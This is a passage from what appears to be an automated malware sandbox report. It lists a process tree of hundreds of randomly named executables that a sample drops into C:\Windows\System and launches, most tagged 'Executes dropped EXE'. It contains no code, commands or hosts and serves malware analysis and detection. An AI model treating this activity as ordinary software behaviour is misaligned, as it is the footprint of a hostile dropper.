  C:\Windows\System\GkxWhVt.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\uVwEgYh.exe
  C:\Windows\System\uVwEgYh.exe
  2⤵
  - Executes dropped EXE
  PID:760
- C:\Windows\System\pryOavm.exe
  C:\Windows\System\pryOavm.exe
  2⤵
  - Executes dropped EXE
  PID:1092
- C:\Windows\System\CRBrIFD.exe
  C:\Windows\System\CRBrIFD.exe
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Windows\System\TmTmErL.exe
  C:\Windows\System\TmTmErL.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\iIkiqnW.exe
  C:\Windows\System\iIkiqnW.exe
  2⤵
  - Executes dropped EXE
  PID:4456
- C:\Windows\System\dbwhwsZ.exe
  C:\Windows\System\dbwhwsZ.exe
  2⤵
  - Executes dropped EXE
  PID:1700
- C:\Windows\System\pbDgnFi.exe
  C:\Windows\System\pbDgnFi.exe
  2⤵
  - Executes dropped EXE
  PID:3592
- C:\Windows\System\fuEVfER.exe
  C:\Windows\System\fuEVfER.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\PHxIsGq.exe
  C:\Windows\System\PHxIsGq.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\svBupYP.exe
  C:\Windows\System\svBupYP.exe
  2⤵
  - Executes dropped EXE
  PID:3444
- C:\Windows\System\KxPcYjS.exe
  C:\Windows\System\KxPcYjS.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\HNrFiMQ.exe
  C:\Windows\System\HNrFiMQ.exe
  2⤵
  - Executes dropped EXE
  PID:3436
- C:\Windows\System\KYnTQYH.exe
  C:\Windows\System\KYnTQYH.exe
  2⤵
  - Executes dropped EXE
  PID:4964
- C:\Windows\System\eguImkA.exe
  C:\Windows\System\eguImkA.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\izDUYhc.exe
  C:\Windows\System\izDUYhc.exe
  2⤵
  - Executes dropped EXE
  PID:3140
- C:\Windows\System\SayExwL.exe
  C:\Windows\System\SayExwL.exe
  2⤵
  - Executes dropped EXE
  PID:4956
- C:\Windows\System\vsUmGya.exe
  C:\Windows\System\vsUmGya.exe
  2⤵
  - Executes dropped EXE
  PID:1112
- C:\Windows\System\wYcuSMg.exe
  C:\Windows\System\wYcuSMg.exe
  2⤵
  - Executes dropped EXE
  PID:3392
- C:\Windows\System\FGWXPPS.exe
  C:\Windows\System\FGWXPPS.exe
  2⤵
  - Executes dropped EXE
  PID:1828
- C:\Windows\System\bGsBVyO.exe
  C:\Windows\System\bGsBVyO.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\bEMqTWi.exe
  C:\Windows\System\bEMqTWi.exe
  2⤵
  - Executes dropped EXE
  PID:3212
- C:\Windows\System\wWXdtAI.exe
  C:\Windows\System\wWXdtAI.exe
  2⤵
  - Executes dropped EXE
  PID:4376
- C:\Windows\System\yyVdNmY.exe
  C:\Windows\System\yyVdNmY.exe
  2⤵
  - Executes dropped EXE
  PID:4112
- C:\Windows\System\ypcnLnz.exe
  C:\Windows\System\ypcnLnz.exe
  2⤵
  - Executes dropped EXE
  PID:3700
- C:\Windows\System\txMhmRB.exe
  C:\Windows\System\txMhmRB.exe
  2⤵
  - Executes dropped EXE
  PID:3412
- C:\Windows\System\EISSfbg.exe
  C:\Windows\System\EISSfbg.exe
  2⤵
  - Executes dropped EXE
  PID:728
- C:\Windows\System\RUPLpsH.exe
  C:\Windows\System\RUPLpsH.exe
  2⤵
  - Executes dropped EXE
  PID:4636
- C:\Windows\System\NUghDaa.exe
  C:\Windows\System\NUghDaa.exe
  2⤵
  - Executes dropped EXE
  PID:3476
- C:\Windows\System\ZGfJNiS.exe
  C:\Windows\System\ZGfJNiS.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\JbzyiOJ.exe
  C:\Windows\System\JbzyiOJ.exe
  2⤵
  - Executes dropped EXE
  PID:1908
- C:\Windows\System\GVMaJui.exe
  C:\Windows\System\GVMaJui.exe
  2⤵
  - Executes dropped EXE
  PID:3344
- C:\Windows\System\POuLGNB.exe
  C:\Windows\System\POuLGNB.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\ylZnivK.exe
  C:\Windows\System\ylZnivK.exe
  2⤵
  PID:1056
- C:\Windows\System\ysrtwjR.exe
  C:\Windows\System\ysrtwjR.exe
  2⤵
  PID:2564
- C:\Windows\System\wSoiYPV.exe
  C:\Windows\System\wSoiYPV.exe
  2⤵
  PID:1808
- C:\Windows\System\yEfmliN.exe
  C:\Windows\System\yEfmliN.exe
  2⤵
  PID:1712
- C:\Windows\System\Fdfwndc.exe
  C:\Windows\System\Fdfwndc.exe
  2⤵
  PID:1636
- C:\Windows\System\APJcMmw.exe
  C:\Windows\System\APJcMmw.exe
  2⤵
  PID:2044
- C:\Windows\System\LjslUCK.exe
  C:\Windows\System\LjslUCK.exe
  2⤵
  PID:4448
- C:\Windows\System\SfoSPzt.exe
  C:\Windows\System\SfoSPzt.exe
  2⤵
  PID:4504
- C:\Windows\System\cuJynXw.exe
  C:\Windows\System\cuJynXw.exe
  2⤵
  PID:3456
- C:\Windows\System\iCMvkSd.exe
  C:\Windows\System\iCMvkSd.exe
  2⤵
  PID:4544
- C:\Windows\System\potkZEq.exe
  C:\Windows\System\potkZEq.exe
  2⤵
  PID:2864
- C:\Windows\System\fgmKfxq.exe
  C:\Windows\System\fgmKfxq.exe
  2⤵
  PID:4256
- C:\Windows\System\sQcnBmN.exe
  C:\Windows\System\sQcnBmN.exe
  2⤵
  PID:624
- C:\Windows\System\kDikQAH.exe
  C:\Windows\System\kDikQAH.exe
  2⤵
  PID:5124
- C:\Windows\System\cnpmZUC.exe
  C:\Windows\System\cnpmZUC.exe
  2⤵
  PID:5144
- C:\Windows\System\Cnavbsn.exe
  C:\Windows\System\Cnavbsn.exe
  2⤵
  PID:5172
- C:\Windows\System\dtvCZMz.exe
  C:\Windows\System\dtvCZMz.exe
  2⤵
  PID:5276
- C:\Windows\System\FgHymTX.exe
  C:\Windows\System\FgHymTX.exe
  2⤵
  PID:5312
- C:\Windows\System\ZBfMCVm.exe
  C:\Windows\System\ZBfMCVm.exe
  2⤵
  PID:5336
- C:\Windows\System\FSSPrwD.exe
  C:\Windows\System\FSSPrwD.exe
  2⤵
  PID:5360
- C:\Windows\System\leaQYrD.exe
  C:\Windows\System\leaQYrD.exe
  2⤵
  PID:5384
- C:\Windows\System\ZPFlpxs.exe
  C:\Windows\System\ZPFlpxs.exe
  2⤵
  PID:5524
- C:\Windows\System\AMtHViE.exe
  C:\Windows\System\AMtHViE.exe
  2⤵
  PID:5548
- C:\Windows\System\iUJIlKZ.exe
  C:\Windows\System\iUJIlKZ.exe
  2⤵
  PID:5564
- C:\Windows\System\VHFSPuF.exe
  C:\Windows\System\VHFSPuF.exe
  2⤵
  PID:5584
- C:\Windows\System\PYHWJfI.exe
  C:\Windows\System\PYHWJfI.exe
  2⤵
  PID:5600
- C:\Windows\System\CEquyTV.exe
  C:\Windows\System\CEquyTV.exe
  2⤵
  PID:5624
- C:\Windows\System\sOVSBxS.exe
  C:\Windows\System\sOVSBxS.exe
  2⤵
  PID:5648
- C:\Windows\System\kwSFFwW.exe
  C:\Windows\System\kwSFFwW.exe
  2⤵
  PID:5676
- C:\Windows\System\rsjIHcw.exe
  C:\Windows\System\rsjIHcw.exe
  2⤵
  PID:5692
- C:\Windows\System\nLPqwXR.exe
  C:\Windows\System\nLPqwXR.exe
  2⤵
  PID:5712
- C:\Windows\System\qVxxgrE.exe
  C:\Windows\System\qVxxgrE.exe
  2⤵
  PID:5736
- C:\Windows\System\XQmxDsK.exe
  C:\Windows\System\XQmxDsK.exe
  2⤵
  PID:5768
- C:\Windows\System\hbTqkKr.exe
  C:\Windows\System\hbTqkKr.exe
  2⤵
  PID:5812
- C:\Windows\System\NLlXiBn.exe
  C:\Windows\System\NLlXiBn.exe
  2⤵
  PID:5836
- C:\Windows\System\miyBYeP.exe
  C:\Windows\System\miyBYeP.exe
  2⤵
  PID:5868
- C:\Windows\System\myZzePJ.exe
  C:\Windows\System\myZzePJ.exe
  2⤵
  PID:5884
- C:\Windows\System\wuxCRKX.exe
  C:\Windows\System\wuxCRKX.exe
  2⤵
  PID:5900
- C:\Windows\System\wuPHGIp.exe
  C:\Windows\System\wuPHGIp.exe
  2⤵
  PID:5928
- C:\Windows\System\ZTpSnYY.exe
  C:\Windows\System\ZTpSnYY.exe
  2⤵
  PID:5952
- C:\Windows\System\IxkLpfv.exe
  C:\Windows\System\IxkLpfv.exe
  2⤵
  PID:5984
- C:\Windows\System\GYvHfZc.exe
  C:\Windows\System\GYvHfZc.exe
  2⤵
  PID:6000
- C:\Windows\System\FvVZUkp.exe
  C:\Windows\System\FvVZUkp.exe
  2⤵
  PID:6016
- C:\Windows\System\zIIRCHH.exe
  C:\Windows\System\zIIRCHH.exe
  2⤵
  PID:6032
- C:\Windows\System\RtlEpQg.exe
  C:\Windows\System\RtlEpQg.exe
  2⤵
  PID:6064
- C:\Windows\System\stCJgaC.exe
  C:\Windows\System\stCJgaC.exe
  2⤵
  PID:6096
- C:\Windows\System\fFdSLeO.exe
  C:\Windows\System\fFdSLeO.exe
  2⤵
  PID:6136
- C:\Windows\System\JObAtxc.exe
  C:\Windows\System\JObAtxc.exe
  2⤵
  PID:516
- C:\Windows\System\SLGLwYv.exe
  C:\Windows\System\SLGLwYv.exe
  2⤵
  PID:3916
- C:\Windows\System\zbKNjsB.exe
  C:\Windows\System\zbKNjsB.exe
  2⤵
  PID:396
- C:\Windows\System\pkdcGNd.exe
  C:\Windows\System\pkdcGNd.exe
  2⤵
  PID:1612
- C:\Windows\System\azVXymh.exe
  C:\Windows\System\azVXymh.exe
  2⤵
  PID:4924
- C:\Windows\System\tPtcuiY.exe
  C:\Windows\System\tPtcuiY.exe
  2⤵
  PID:4532
- C:\Windows\System\WdEaJQe.exe
  C:\Windows\System\WdEaJQe.exe
  2⤵
  PID:3660
- C:\Windows\System\knRZIUE.exe
  C:\Windows\System\knRZIUE.exe
  2⤵
  PID:4656
- C:\Windows\System\wlxuuwf.exe
  C:\Windows\System\wlxuuwf.exe
  2⤵
  PID:1516
- C:\Windows\System\isMGksc.exe
  C:\Windows\System\isMGksc.exe
  2⤵
  PID:2408
- C:\Windows\System\zlanRHQ.exe
  C:\Windows\System\zlanRHQ.exe
  2⤵
  PID:3980
- C:\Windows\System\NeXcibc.exe
  C:\Windows\System\NeXcibc.exe
  2⤵
  PID:2332
- C:\Windows\System\FManbNS.exe
  C:\Windows\System\FManbNS.exe
  2⤵
  PID:2100
- C:\Windows\System\XKChGnX.exe
  C:\Windows\System\XKChGnX.exe
  2⤵
  PID:1296
- C:\Windows\System\DSZkpHU.exe
  C:\Windows\System\DSZkpHU.exe
  2⤵
  PID:2324
- C:\Windows\System\KDyZsqM.exe
  C:\Windows\System\KDyZsqM.exe
  2⤵
  PID:5688
- C:\Windows\System\ZUfMglp.exe
  C:\Windows\System\ZUfMglp.exe
  2⤵
  PID:5732
- C:\Windows\System\qiKfyqt.exe
  C:\Windows\System\qiKfyqt.exe
  2⤵
  PID:4864
- C:\Windows\System\aLvMHuh.exe
  C:\Windows\System\aLvMHuh.exe
  2⤵
  PID:5168
- C:\Windows\System\cnDyfCJ.exe
  C:\Windows\System\cnDyfCJ.exe
  2⤵
  PID:5944
- C:\Windows\System\DyEsmMl.exe
  C:\Windows\System\DyEsmMl.exe
  2⤵
  PID:5248
- C:\Windows\System\bUNiPjR.exe
  C:\Windows\System\bUNiPjR.exe
  2⤵
  PID:5300
- C:\Windows\System\ikkfNfR.exe
  C:\Windows\System\ikkfNfR.exe
  2⤵
  PID:5428
- C:\Windows\System\nnLjOSS.exe
  C:\Windows\System\nnLjOSS.exe
  2⤵
  PID:928
- C:\Windows\System\gnIKEcV.exe
  C:\Windows\System\gnIKEcV.exe
  2⤵
  PID:5520
- C:\Windows\System\iAUBadf.exe
  C:\Windows\System\iAUBadf.exe
  2⤵
  PID:5632
- C:\Windows\System\awnSSBh.exe
  C:\Windows\System\awnSSBh.exe
  2⤵
  PID:5576
- C:\Windows\System\uQgeQnD.exe
  C:\Windows\System\uQgeQnD.exe
  2⤵
  PID:5848
- C:\Windows\System\oibTKOO.exe
  C:\Windows\System\oibTKOO.exe
  2⤵
  PID:5876
- C:\Windows\System\vUeTkni.exe
  C:\Windows\System\vUeTkni.exe
  2⤵
  PID:5896
- C:\Windows\System\bsfqEax.exe
  C:\Windows\System\bsfqEax.exe
  2⤵
  PID:6008
- C:\Windows\System\FHdLFsz.exe
  C:\Windows\System\FHdLFsz.exe
  2⤵
  PID:6044
- C:\Windows\System\MwUkqGV.exe
  C:\Windows\System\MwUkqGV.exe
  2⤵
  PID:6160
- C:\Windows\System\jiXOHYX.exe
  C:\Windows\System\jiXOHYX.exe
  2⤵
  PID:6292
- C:\Windows\System\MdvQFfx.exe
  C:\Windows\System\MdvQFfx.exe
  2⤵
  PID:6308
- C:\Windows\System\STscXnW.exe
  C:\Windows\System\STscXnW.exe
  2⤵
  PID:6324
- C:\Windows\System\LaMflzw.exe
  C:\Windows\System\LaMflzw.exe
  2⤵
  PID:6340
- C:\Windows\System\xSoErmz.exe
  C:\Windows\System\xSoErmz.exe
  2⤵
  PID:6356
- C:\Windows\System\SIskNvV.exe
  C:\Windows\System\SIskNvV.exe
  2⤵
  PID:6372
- C:\Windows\System\nplHXVp.exe
  C:\Windows\System\nplHXVp.exe
  2⤵
  PID:6388
- C:\Windows\System\LjJTmLl.exe
  C:\Windows\System\LjJTmLl.exe
  2⤵
  PID:6404
- C:\Windows\System\DDxDnHd.exe
  C:\Windows\System\DDxDnHd.exe
  2⤵
  PID:6420
- C:\Windows\System\HmLYblm.exe
  C:\Windows\System\HmLYblm.exe
  2⤵
  PID:6436
- C:\Windows\System\PDTUFsw.exe
  C:\Windows\System\PDTUFsw.exe
  2⤵
  PID:6452
- C:\Windows\System\xazBwVP.exe
  C:\Windows\System\xazBwVP.exe
  2⤵
  PID:6524
- C:\Windows\System\mHQInpr.exe
  C:\Windows\System\mHQInpr.exe
  2⤵
  PID:6580
- C:\Windows\System\emdXwOk.exe
  C:\Windows\System\emdXwOk.exe
  2⤵
  PID:6600
- C:\Windows\System\ainzbDj.exe
  C:\Windows\System\ainzbDj.exe
  2⤵
  PID:6624
- C:\Windows\System\iDbgiqi.exe
  C:\Windows\System\iDbgiqi.exe
  2⤵
  PID:6648
- C:\Windows\System\anoYTlA.exe
  C:\Windows\System\anoYTlA.exe
  2⤵
  PID:6672
- C:\Windows\System\xRuZoZP.exe
  C:\Windows\System\xRuZoZP.exe
  2⤵
  PID:6700
- C:\Windows\System\dwzzXog.exe
  C:\Windows\System\dwzzXog.exe
  2⤵
  PID:6728
- C:\Windows\System\vJMZZHx.exe
  C:\Windows\System\vJMZZHx.exe
  2⤵
  PID:6752
- C:\Windows\System\qqoTpfX.exe
  C:\Windows\System\qqoTpfX.exe
  2⤵
  PID:6776
- C:\Windows\System\GBWLeNm.exe
  C:\Windows\System\GBWLeNm.exe
  2⤵
  PID:6800
- C:\Windows\System\quuaaYN.exe
  C:\Windows\System\quuaaYN.exe
  2⤵
  PID:6824
- C:\Windows\System\kbkeVxk.exe
  C:\Windows\System\kbkeVxk.exe
  2⤵
  PID:6848
- C:\Windows\System\TMnwzBz.exe
  C:\Windows\System\TMnwzBz.exe
  2⤵
  PID:6868
- C:\Windows\System\dLLbQOe.exe
  C:\Windows\System\dLLbQOe.exe
  2⤵
  PID:6892
- C:\Windows\System\VgdJmKk.exe
  C:\Windows\System\VgdJmKk.exe
  2⤵
  PID:6912
- C:\Windows\System\eXAvWRv.exe
  C:\Windows\System\eXAvWRv.exe
  2⤵
  PID:6936
- C:\Windows\System\wJuvpVA.exe
  C:\Windows\System\wJuvpVA.exe
  2⤵
  PID:6960
- C:\Windows\System\NPPrXhh.exe
  C:\Windows\System\NPPrXhh.exe
  2⤵
  PID:7012
- C:\Windows\System\meOWcaq.exe
  C:\Windows\System\meOWcaq.exe
  2⤵
  PID:7032
- C:\Windows\System\CMuOvlY.exe
  C:\Windows\System\CMuOvlY.exe
  2⤵
  PID:7056
- C:\Windows\System\QiASjQV.exe
  C:\Windows\System\QiASjQV.exe
  2⤵
  PID:7072
- C:\Windows\System\WANzXFC.exe
  C:\Windows\System\WANzXFC.exe
  2⤵
  PID:5668
- C:\Windows\System\TFRMMEk.exe
  C:\Windows\System\TFRMMEk.exe
  2⤵
  PID:6092
- C:\Windows\System\MRtxsgV.exe
  C:\Windows\System\MRtxsgV.exe
  2⤵
  PID:2500
- C:\Windows\System\bsHCHyH.exe
  C:\Windows\System\bsHCHyH.exe
  2⤵
  PID:5100
- C:\Windows\System\isMjZOV.exe
  C:\Windows\System\isMjZOV.exe
  2⤵
  PID:1196
- C:\Windows\System\pYJOkou.exe
  C:\Windows\System\pYJOkou.exe
  2⤵
  PID:592
- C:\Windows\System\BbsZwGo.exe
  C:\Windows\System\BbsZwGo.exe
  2⤵
  PID:4312
- C:\Windows\System\BoAHyOF.exe
  C:\Windows\System\BoAHyOF.exe
  2⤵
  PID:2836
- C:\Windows\System\GgHvnWb.exe
  C:\Windows\System\GgHvnWb.exe
  2⤵
  PID:4092
- C:\Windows\System\hzMMtiF.exe
  C:\Windows\System\hzMMtiF.exe
  2⤵
  PID:5532
- C:\Windows\System\wEkmsvg.exe
  C:\Windows\System\wEkmsvg.exe
  2⤵
  PID:2996
- C:\Windows\System\BcvLZRc.exe
  C:\Windows\System\BcvLZRc.exe
  2⤵
  PID:5708
- C:\Windows\System\XFqIoWR.exe
  C:\Windows\System\XFqIoWR.exe
  2⤵
  PID:5228
- C:\Windows\System\IAfFYcc.exe
  C:\Windows\System\IAfFYcc.exe
  2⤵
  PID:5640
- C:\Windows\System\ovJkRGy.exe
  C:\Windows\System\ovJkRGy.exe
  2⤵
  PID:6616
- C:\Windows\System\ATKsOSa.exe
  C:\Windows\System\ATKsOSa.exe
  2⤵
  PID:6660
- C:\Windows\System\itUnAdN.exe
  C:\Windows\System\itUnAdN.exe
  2⤵
  PID:6696
- C:\Windows\System\cabFRKO.exe
  C:\Windows\System\cabFRKO.exe
  2⤵
  PID:6736
- C:\Windows\System\MkIyXUi.exe
  C:\Windows\System\MkIyXUi.exe
  2⤵
  PID:6808
- C:\Windows\System\OgBAhKJ.exe
  C:\Windows\System\OgBAhKJ.exe
  2⤵
  PID:6860
- C:\Windows\System\XRDjqRb.exe
  C:\Windows\System\XRDjqRb.exe
  2⤵
  PID:6904
- C:\Windows\System\aricMDD.exe
  C:\Windows\System\aricMDD.exe
  2⤵
  PID:6968
- C:\Windows\System\LGBRfko.exe
  C:\Windows\System\LGBRfko.exe
  2⤵
  PID:7020
- C:\Windows\System\abOqHQv.exe
  C:\Windows\System\abOqHQv.exe
  2⤵
  PID:7044
- C:\Windows\System\HNngWxs.exe
  C:\Windows\System\HNngWxs.exe
  2⤵
  PID:2516
- C:\Windows\System\ZpBsGLQ.exe
  C:\Windows\System\ZpBsGLQ.exe
  2⤵
  PID:7180
- C:\Windows\System\gZPxwJP.exe
  C:\Windows\System\gZPxwJP.exe
  2⤵
  PID:7204
- C:\Windows\System\CzdedId.exe
  C:\Windows\System\CzdedId.exe
  2⤵
  PID:7228
- C:\Windows\System\ZenRlTJ.exe
  C:\Windows\System\ZenRlTJ.exe
  2⤵
  PID:7252
- C:\Windows\System\YiJlmrS.exe
  C:\Windows\System\YiJlmrS.exe
  2⤵
  PID:7272
- C:\Windows\System\HjcLQlb.exe
  C:\Windows\System\HjcLQlb.exe
  2⤵
  PID:7296
- C:\Windows\System\kzDLWTd.exe
  C:\Windows\System\kzDLWTd.exe
  2⤵
  PID:7316
- C:\Windows\System\sNBRKgi.exe
  C:\Windows\System\sNBRKgi.exe
  2⤵
  PID:7340
- C:\Windows\System\ELXseKt.exe
  C:\Windows\System\ELXseKt.exe
  2⤵
  PID:7364
- C:\Windows\System\UNScbYU.exe
  C:\Windows\System\UNScbYU.exe
  2⤵
  PID:7384
- C:\Windows\System\RtvHjgf.exe
  C:\Windows\System\RtvHjgf.exe
  2⤵
  PID:7404
- C:\Windows\System\yNyAClT.exe
  C:\Windows\System\yNyAClT.exe
  2⤵
  PID:7428
- C:\Windows\System\iSVFxGg.exe
  C:\Windows\System\iSVFxGg.exe
  2⤵
  PID:7456
- C:\Windows\System\tBfZdte.exe
  C:\Windows\System\tBfZdte.exe
  2⤵
  PID:7476
- C:\Windows\System\DLhBvuX.exe
  C:\Windows\System\DLhBvuX.exe
  2⤵
  PID:7496
- C:\Windows\System\xihqguv.exe
  C:\Windows\System\xihqguv.exe
  2⤵
  PID:7516
- C:\Windows\System\SsWWkKz.exe
  C:\Windows\System\SsWWkKz.exe
  2⤵
  PID:7544
- C:\Windows\System\RWIcLji.exe
  C:\Windows\System\RWIcLji.exe
  2⤵
  PID:7560
- C:\Windows\System\MkwGUrH.exe
  C:\Windows\System\MkwGUrH.exe
  2⤵
  PID:7584
- C:\Windows\System\ABizNGl.exe
  C:\Windows\System\ABizNGl.exe
  2⤵
  PID:7668
- C:\Windows\System\ESadPQd.exe
  C:\Windows\System\ESadPQd.exe
  2⤵
  PID:7688
- C:\Windows\System\rMSpCsw.exe
  C:\Windows\System\rMSpCsw.exe
  2⤵
  PID:7716
- C:\Windows\System\cSeHHVk.exe
  C:\Windows\System\cSeHHVk.exe
  2⤵
  PID:7736
- C:\Windows\System\uuyLjdj.exe
  C:\Windows\System\uuyLjdj.exe
  2⤵
  PID:7764
- C:\Windows\System\uiDtyAQ.exe
  C:\Windows\System\uiDtyAQ.exe
  2⤵
  PID:7784
- C:\Windows\System\jNeznmF.exe
  C:\Windows\System\jNeznmF.exe
  2⤵
  PID:7812
- C:\Windows\System\zkdGLDZ.exe
  C:\Windows\System\zkdGLDZ.exe
  2⤵
  PID:7832
- C:\Windows\System\CMyaoHH.exe
  C:\Windows\System\CMyaoHH.exe
  2⤵
  PID:7864
- C:\Windows\System\auwHPbo.exe
  C:\Windows\System\auwHPbo.exe
  2⤵
  PID:7888
- C:\Windows\System\rpMJaav.exe
  C:\Windows\System\rpMJaav.exe
  2⤵
  PID:7920
- C:\Windows\System\lqFRuKI.exe
  C:\Windows\System\lqFRuKI.exe
  2⤵
  PID:7940
- C:\Windows\System\sdMrjwj.exe
  C:\Windows\System\sdMrjwj.exe
  2⤵
  PID:7964
- C:\Windows\System\pLbQkzD.exe
  C:\Windows\System\pLbQkzD.exe
  2⤵
  PID:7992
- C:\Windows\System\zyRWEVx.exe
  C:\Windows\System\zyRWEVx.exe
  2⤵
  PID:8012
- C:\Windows\System\TCUGvuj.exe
  C:\Windows\System\TCUGvuj.exe
  2⤵
  PID:8040
- C:\Windows\System\cdTOCzi.exe
  C:\Windows\System\cdTOCzi.exe
  2⤵
  PID:8120
- C:\Windows\System\IAkKFQr.exe
  C:\Windows\System\IAkKFQr.exe
  2⤵
  PID:8144
- C:\Windows\System\jQzEkmL.exe
  C:\Windows\System\jQzEkmL.exe
  2⤵
  PID:7084
- C:\Windows\System\FZqRquO.exe
  C:\Windows\System\FZqRquO.exe
  2⤵
  PID:5136
- C:\Windows\System\KPCclBD.exe
  C:\Windows\System\KPCclBD.exe
  2⤵
  PID:2360
- C:\Windows\System\doDARWD.exe
  C:\Windows\System\doDARWD.exe
  2⤵
  PID:3748
- C:\Windows\System\ljZlvHf.exe
  C:\Windows\System\ljZlvHf.exe
  2⤵
  PID:2652
- C:\Windows\System\WkbnPCI.exe
  C:\Windows\System\WkbnPCI.exe
  2⤵
  PID:2220
- C:\Windows\System\lfBuDCP.exe
  C:\Windows\System\lfBuDCP.exe
  2⤵
  PID:5200
- C:\Windows\System\lhwUJDW.exe
  C:\Windows\System\lhwUJDW.exe
  2⤵
  PID:5160
- C:\Windows\System\sIVeJUv.exe
  C:\Windows\System\sIVeJUv.exe
  2⤵
  PID:7040
- C:\Windows\System\OLLexyj.exe
  C:\Windows\System\OLLexyj.exe
  2⤵
  PID:7188
- C:\Windows\System\FRuuTGu.exe
  C:\Windows\System\FRuuTGu.exe
  2⤵
  PID:7304
- C:\Windows\System\exLqnCO.exe
  C:\Windows\System\exLqnCO.exe
  2⤵
  PID:7540
- C:\Windows\System\ZktGZiY.exe
  C:\Windows\System\ZktGZiY.exe
  2⤵
  PID:2952
- C:\Windows\System\ssaknLd.exe
  C:\Windows\System\ssaknLd.exe
  2⤵
  PID:7948
- C:\Windows\System\aorNDrH.exe
  C:\Windows\System\aorNDrH.exe
  2⤵
  PID:7504
- C:\Windows\System\BywlQVG.exe
  C:\Windows\System\BywlQVG.exe
  2⤵
  PID:6592
- C:\Windows\System\vxRDlaB.exe
  C:\Windows\System\vxRDlaB.exe
  2⤵
  PID:6684
- C:\Windows\System\FEFKSlB.exe
  C:\Windows\System\FEFKSlB.exe
  2⤵
  PID:6784
- C:\Windows\System\wkHBcAp.exe
  C:\Windows\System\wkHBcAp.exe
  2⤵
  PID:6888
- C:\Windows\System\JkpLRVF.exe
  C:\Windows\System\JkpLRVF.exe
  2⤵
  PID:7008
- C:\Windows\System\XqIqVek.exe
  C:\Windows\System\XqIqVek.exe
  2⤵
  PID:7224
- C:\Windows\System\JYmNWcF.exe
  C:\Windows\System\JYmNWcF.exe
  2⤵
  PID:7332
- C:\Windows\System\WelMFmT.exe
  C:\Windows\System\WelMFmT.exe
  2⤵
  PID:7396
- C:\Windows\System\LbItzHf.exe
  C:\Windows\System\LbItzHf.exe
  2⤵
  PID:7440
- C:\Windows\System\zLwQVRL.exe
  C:\Windows\System\zLwQVRL.exe
  2⤵
  PID:8032
- C:\Windows\System\uOUAsyF.exe
  C:\Windows\System\uOUAsyF.exe
  2⤵
  PID:8208
- C:\Windows\System\BftUkov.exe
  C:\Windows\System\BftUkov.exe
  2⤵
  PID:8232
- C:\Windows\System\PxohnmV.exe
  C:\Windows\System\PxohnmV.exe
  2⤵
  PID:8256
- C:\Windows\System\rRzBYWa.exe
  C:\Windows\System\rRzBYWa.exe
  2⤵
  PID:8272
- C:\Windows\System\irCEdxV.exe
  C:\Windows\System\irCEdxV.exe
  2⤵
  PID:8288
- C:\Windows\System\uojZThb.exe
  C:\Windows\System\uojZThb.exe
  2⤵
  PID:8308
- C:\Windows\System\RqEAfom.exe
  C:\Windows\System\RqEAfom.exe
  2⤵
  PID:8328
- C:\Windows\System\ewSDYId.exe
  C:\Windows\System\ewSDYId.exe
  2⤵
  PID:8352
- C:\Windows\System\QomFiBc.exe
  C:\Windows\System\QomFiBc.exe
  2⤵
  PID:8384
- C:\Windows\System\tnJCBcW.exe
  C:\Windows\System\tnJCBcW.exe
  2⤵
  PID:8404
- C:\Windows\System\yJMfEFH.exe
  C:\Windows\System\yJMfEFH.exe
  2⤵
  PID:8424
- C:\Windows\System\kZsPiPx.exe
  C:\Windows\System\kZsPiPx.exe
  2⤵
  PID:8452
- C:\Windows\System\flURvGb.exe
  C:\Windows\System\flURvGb.exe
  2⤵
  PID:8488
- C:\Windows\System\sakdfQX.exe
  C:\Windows\System\sakdfQX.exe
  2⤵
  PID:8512
- C:\Windows\System\brUbcmF.exe
  C:\Windows\System\brUbcmF.exe
  2⤵
  PID:8528
- C:\Windows\System\AwqeTLp.exe
  C:\Windows\System\AwqeTLp.exe
  2⤵
  PID:8544
- C:\Windows\System\eikQcrS.exe
  C:\Windows\System\eikQcrS.exe
  2⤵
  PID:8560
- C:\Windows\System\DwprHAc.exe
  C:\Windows\System\DwprHAc.exe
  2⤵
  PID:8600
- C:\Windows\System\twqqRzd.exe
  C:\Windows\System\twqqRzd.exe
  2⤵
  PID:8616
- C:\Windows\System\TCRNGvu.exe
  C:\Windows\System\TCRNGvu.exe
  2⤵
  PID:8636
- C:\Windows\System\cbtTPVY.exe
  C:\Windows\System\cbtTPVY.exe
  2⤵
  PID:8656
- C:\Windows\System\osOMKkA.exe
  C:\Windows\System\osOMKkA.exe
  2⤵
  PID:8684
- C:\Windows\System\QuRFfDy.exe
  C:\Windows\System\QuRFfDy.exe
  2⤵
  PID:8708
- C:\Windows\System\sXPCFzx.exe
  C:\Windows\System\sXPCFzx.exe
  2⤵
  PID:8724
- C:\Windows\System\IprsQGe.exe
  C:\Windows\System\IprsQGe.exe
  2⤵
  PID:8748
- C:\Windows\System\EwsQgge.exe
  C:\Windows\System\EwsQgge.exe
  2⤵
  PID:8776
- C:\Windows\System\PjnPTnn.exe
  C:\Windows\System\PjnPTnn.exe
  2⤵
  PID:8800
- C:\Windows\System\tdotpUe.exe
  C:\Windows\System\tdotpUe.exe
  2⤵
  PID:8824
- C:\Windows\System\soHgzbj.exe
  C:\Windows\System\soHgzbj.exe
  2⤵
  PID:8848
- C:\Windows\System\pbuhXOG.exe
  C:\Windows\System\pbuhXOG.exe
  2⤵
  PID:8940
- C:\Windows\System\lCvRQsE.exe
  C:\Windows\System\lCvRQsE.exe
  2⤵
  PID:8972
- C:\Windows\System\fhuPCjJ.exe
  C:\Windows\System\fhuPCjJ.exe
  2⤵
  PID:8996
- C:\Windows\System\FxTbVYG.exe
  C:\Windows\System\FxTbVYG.exe
  2⤵
  PID:9024
- C:\Windows\System\UAThhVD.exe
  C:\Windows\System\UAThhVD.exe
  2⤵
  PID:9052
- C:\Windows\System\zYHavUN.exe
  C:\Windows\System\zYHavUN.exe
  2⤵
  PID:9072
- C:\Windows\System\LtsuSnh.exe
  C:\Windows\System\LtsuSnh.exe
  2⤵
  PID:9092
- C:\Windows\System\YSzkBvC.exe
  C:\Windows\System\YSzkBvC.exe
  2⤵
